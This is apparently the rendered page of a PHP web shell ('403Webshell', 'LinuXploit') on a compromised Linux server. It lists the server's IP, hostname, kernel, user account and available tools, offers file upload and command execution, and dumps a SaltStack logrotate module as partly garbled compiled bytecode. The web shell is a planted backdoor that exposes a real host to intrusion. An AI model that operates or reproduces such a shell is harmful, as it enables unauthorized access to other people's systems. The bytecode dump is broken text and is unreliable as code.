403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/logrotate.cpython-310.pyc
o

;jQ�@s6dZdZdZddiZdd�Zdd�Zd	efd
d�Zd	S)z=
Module for managing logrotate.

.. versionadded:: 2017.7.0

z/etc/logrotate.confZ	logrotate�set_�setcCsdtvrtSdS)z>
    Load only on minions that have the logrotate module.
    zlogrotate.show_conf)Fz$logrotate module could not be loaded)�__salt__�__virtualname__�rr�I/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/logrotate.py�__virtual__srcCs(z	tt|��}W|StyY|Sw)z�
    Convert to an int if necessary.

    :param str value: The value to check/convert.

    :return: The converted or passed value.
    :rtype: bool|int|str
    )�int�str�
ValueError)�valuerrr�_convert_if_ints	��rNc	Cs�|t�ddd�}z|durtd||d�}n	td|||d�}Wn
ttfy-d}Ynw|dur�t|�}||krJd|�d	|��|d
<d|d<|Std
rad|�d|��|d
<||d�|d<|S||d�|d<td|||d�|d<|dr�d|�d|��|d
<|Sd�||�|d
<|St|�}||kr�d�|||�|d
<d|d<|Std
r�d�|||�|d
<||d�|d<|S||d�|d<td||||d�|d<|dr�d�|||�|d
<|Sd�|||�|d
<|S)a3
    Set a new value for a specific configuration line.

    :param str key: The command or block to configure.
    :param str value: The command value or command of the block specified by the key parameter.
    :param str setting: The command value for the command specified by the value parameter.
    :param str conf_file: The logrotate configuration file.

    Example of usage with only the required arguments:

    .. code-block:: yaml

        logrotate-rotate:
          logrotate.set:
            - key: rotate
            - value: 2

    Example of usage specifying all available arguments:

    .. code-block:: yaml

        logrotate-wtmp-rotate:
          logrotate.set:
            - key: /var/log/wtmp
            - value: rotate
            - setting: 2
            - conf_file: /etc/logrotate.conf
    �N)�name�changes�comment�resultz
logrotate.get)�key�	conf_file)rrrFz	Command 'z' already has value: rTr�testz' will be set to value: )�old�newrz
logrotate.setz
Set command 'z	' value: z$Unable to set command '{}' value: {}z-Block '{}' command '{}' already has value: {}z0Block '{}' command '{}' will be set to value: {})rr�settingrz%Set block '{}' command '{}' value: {}z/Unable to set block '{}' command '{}' value: {})�dictr�AttributeError�KeyErrorrZ__opts__�format)rrrrr�retZ
current_valuerrrr*st�����
�������
����)�__doc__Z
_DEFAULT_CONFrZ__func_alias__rrrrrrr�<module>s	

Youez - 2016 - github.com/yon3zu
LinuXploit